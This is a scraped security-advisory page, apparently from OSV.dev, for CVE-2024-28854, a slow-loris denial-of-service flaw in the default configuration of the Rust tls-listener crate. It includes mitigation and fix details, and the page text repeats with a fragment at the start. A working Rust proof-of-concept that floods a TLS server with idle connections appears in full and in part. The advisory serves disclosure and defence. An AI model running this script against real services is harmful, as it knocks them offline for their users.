                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 04, 2019

0.1.0 unknown

1 CVE

CVE-2024-28854 GHSA-2qph-qpvm-2qf7 RUSTSEC-2024-0341 Mar 15, 2024

tls-listener affected by the slow loris vulnerability with default configuration

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Fixed in


          0.10.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 01, 2019

Activity

Details